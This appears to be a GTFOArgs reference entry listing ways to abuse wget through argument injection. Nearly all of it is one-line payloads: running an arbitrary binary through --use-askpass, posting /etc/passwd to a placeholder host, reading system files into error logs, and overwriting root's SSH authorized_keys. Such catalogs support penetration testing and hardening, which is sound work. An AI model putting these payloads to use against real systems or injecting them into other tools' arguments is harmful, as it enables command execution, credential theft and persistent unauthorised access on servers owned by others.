Argument injection via wget
wget wget Sandbox: execFile · Timeout: 30s
security.execution.command network.transfer.upload system.file.read system.file.write network.transfer.download Can be used to execute any command or file on a system, but without any arguments, and without stdout/stderr. This can be useful if you are able to write an executable to the server beforehand. The example here invokes /sbin/reboot.
wget --use-askpass=/sbin/reboot http://0/ Send a local file to a remote server in a POST request. Note that the file will be sent as-is.
wget --post-file=/etc/passwd http://0/ Read local files by importing the file as URIs to be retrieved. The content of the file will be displayed as error messages.
wget --input-file=/etc/passwd http://0/ Reads local data and writes the output to a file. This is only suitable for displaying non-binary files, as the output is an error-log.
wget --input-file=/etc/passwd --output-file=/tmp/passwd.txt Downloads a remote file via an HTTP GET request and saves it to a specific location.
wget --output-document=/root/.ssh/authorized_keys http://0/ GTFOArgs entry for wget. This binary can be used to inject arguments for execution, file operations, or other capabilities.